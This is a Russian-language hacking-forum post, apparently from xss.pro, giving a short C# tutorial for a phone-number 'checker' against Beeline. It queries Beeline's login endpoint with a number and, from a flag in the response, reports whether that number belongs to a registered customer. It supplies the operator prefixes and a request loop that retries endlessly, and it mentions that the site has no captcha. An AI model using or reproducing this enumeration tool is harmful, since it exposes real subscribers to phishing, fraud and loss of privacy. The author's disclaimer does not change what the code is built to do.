Статья опубликована в ознакомительных целях. Автор не несет ответственности за любой возможный вред, причиненный материалами данной статьи.
Доброго времени суток. Сегодня мы напишем простенький чекер\валидатор телефонных номеров на мобильный оператор beeline.ru (он же ПЧЕЛАйн).
Для начала нам нужно подключить библиотеку для работы с интернетом.
C#:
using System.Net;
Далее объявить пару переменных.
C#:
string telCode = "905"; //код оператора
string telNum = "2006735"; //взял рандомный телефон с гугла (ничего личного)
string result; //переменная для результата
Но, что бы вы не парились вот вам сразу список.
900, 902, 903, 904, 905, 906, 908, 909, 950, 951, 953, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 980, 983, 986
Формируем запрос из всего вышеперечисленного
У вас должно быть более 5 реакций для просмотра скрытого контента.
C#:
Uri stringBuild = new Uri($"https://beeline.ru/menu/loginmodel/?CTN={telCode}{telNum}");
Теперь все готово. Можно слать запрос.
C#:
while (true) //Запускаем цикл он будет работать пока не получит точного ответа
{
try
{
result = new WebClient().DownloadString(stringBuild); //сам запрос
break; //все нормально, ответ получен, выход из цикла
}
catch { /* Если нет соединения или любая другая ошибка то повторяем пока сервер не ответит нормально*/ }
}
Осталось обработать результат и выдать наконец-то валидный номер или нет.
C#:
if (result.Contains("firstTimeLogin\":true"))
Console.WriteLine($"Good: +7{telCode}{telNum}");
else
Console.WriteLine($"Bad: +7{telCode}{telNum}");
Ну вот и все. Всем спасибо. Не злоупотребляйте, а разработчики будьте бдительны и не принебрегайте элементарными средствами защиты в данном случае хотя бы капчей.
Полный код:
У вас должно быть более 5 реакций для просмотра скрытого контента.
Автор: byGuron. Специально для xss.pro.
Последнее редактирование: